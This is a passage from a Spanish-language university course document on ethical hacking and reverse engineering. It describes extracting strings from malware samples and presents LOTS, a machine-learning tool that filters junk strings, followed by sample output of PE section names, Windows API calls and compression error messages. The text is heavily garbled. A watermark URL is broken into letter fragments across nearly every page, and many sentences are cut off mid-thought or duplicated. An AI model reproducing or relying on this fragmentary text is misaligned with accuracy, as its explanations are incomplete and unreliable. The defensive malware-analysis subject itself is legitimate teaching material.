de strings. Este consiste en extraer, sin ejecutar la muestra, todos los strings del archivo para luego
ea
El tipo de información que puede ser obtenida mediante este método varía según la muestra, el tipo
de malware del que se trate y las protecciones anti-análisis que posea. Sin embargo, generalmente
l
en
suele ser muy útil y puede servir como una primera aproximación a partir de la cual definir los
as
A continuación, se enumeran algunas de las múltiples cosas interesantes que se pueden encontrar al
st
Bibliotecas utilizadas
m
maestriasenlinea.ute.edu.ec
38 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
Rutas en las cuales copia o escribe archivos -> Datos del compilador
Existen muchas herramientas para obtener dichas strings, siendo las más famosas: Strings de
c
.e
Sysinternals para Windows y strings para Linux. El proceso realizado por estas herramientas
consiste en recorrer el archivo binario y extraer todas las secuencias de bytes que sean similares a
du
un string; es decir, aquellas que terminan en 0x00 en el caso de strings ASCII o en 0x0000 en el caso
.e
de strings unicode.
te
.u
ea
in
Existen muchas herramientas para obtener dichas strings, siendo las más famosas: Strings de
l
en
Sysinternals para Windows y strings para Linux. El proceso realizado por estas herramientas
as
consiste en recorrer el archivo binario y extraer todas las secuencias de bytes que sean similares a
un string; es decir, aquellas que terminan en 0x00 en el caso de strings ASCII o en 0x0000 en el caso
ri
de strings unicode.
st
ae
Como es de suponer, este tipo de herramientas presenta una gran cantidad de falsos positivos, ya
que cualquier secuencia de bytes con estructura similar a un string será considerada un string
m
tamaño del archivo, con lo cual a partir de una muestra de tan solo algunos megabytes pueden
maestriasenlinea.ute.edu.ec
39 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
c
.e
du
.e
te
.u
ea
Los strings falso positivo o strings basura son claramente identificables para el analista. Sin
l
complicación y un retraso en el proceso de análisis. Aquí es donde entra en juego LOTS, cuyo
as
objetivo es descartar automáticamente los strings basura para que el analista pueda enfocar sus
Dada la variabilidad de los strings que pueden encontrarse en una muestra de malware, conteniendo
ae
características variables, etc., se optó por utilizar un algoritmo de inteligencia artificial basado en
m
que puedan ser fácilmente extraídos de cada string. De esta manera, se pretende lograr que el
algoritmo emplee un criterio similar al que utilizaría un analista para poder discernir si un string es
Las pruebas realizadas sobre varios sets de datos revelaron una precisión de clasificación de
aproximadamente el 97%, tratándose así de una herramienta rápida, precisa y práctica para facilitar
el proceso de análisis.
maestriasenlinea.ute.edu.ec
40 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
Con LOTS:
Rich
c
.text
.e
du
@.data
.e
.rsrc
te
TOpRj .u
TOpRj
ea
uNSW
in
Delete
l
en
NoRemove
as
ForceRemove
ri
st
CreateFileW
ae
CreateFileA
m
GetModuleHandleA
GetModuleHandleW
GetModuleFileNameA
kernel32.dll
GetModuleFileNameW
maestriasenlinea.ute.edu.ec
41 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
error occured
SKyu
c
.e
too many length or distance symbols
du
invalid distances set
.e
invalid bit length repeat
incompatible version
buffer error
maestriasenlinea.ute.edu.ec
42 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
insufficient memory
data error
stream error
file error
stream end
c
.e
need dictionary
du
bad allocation
.e
Visual C++ CRT: Not enough memory to complete call to strerror.
CorExitProcess
te
.u
ea
runtime error
in
Rich
st
.text
ae
`.rdata
m
@.data
.rsrc
QRPV
QRPV
QUVW
maestriasenlinea.ute.edu.ec
43 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
[_^]Y
Qj@SP
Pj@SW
L$(WQ
RPSW
c
.e
VWP3
du
L$Pj
.e
+t$ SV
uP9D$ t
te
.u
ea
hx3B
in
hh1B
l
en
SUVW
as
_^][
ri
t>%F
st
_^][
ae
_^][
m
D$3UV
D$(W
D$4x
D$5a
D$>f
maestriasenlinea.ute.edu.ec
44 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
D$A3
D$Dt
D$9b
t:;L$
t:;L$
c
.e
PGWS
du
WPWUj
.e
VPWUj
_^][
te
.u
ea
VPWUj
in
VPWUj
l
en
_^][
as
QRVW
ri
}3@u
st
E#+E/_^ZY
ae
}3@u
m
}3@u%
}3@u&
}3@u
}3@u
Se puede notar claramente que el resultado obtenido al utilizar LOTS es mucho más pequeño que el
maestriasenlinea.ute.edu.ec
45 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
Esperamos que esta herramienta sea de utilidad para toda la comunidad de analistas de malware,
permitiendo reducir los esfuerzos empleados en estas tareas, acelerar los tiempos de análisis y
automatizar procesos.
c
.e
du
.e
te
.u
ea
l in
en
as
ri
st
ae
m
maestriasenlinea.ute.edu.ec
46 / 46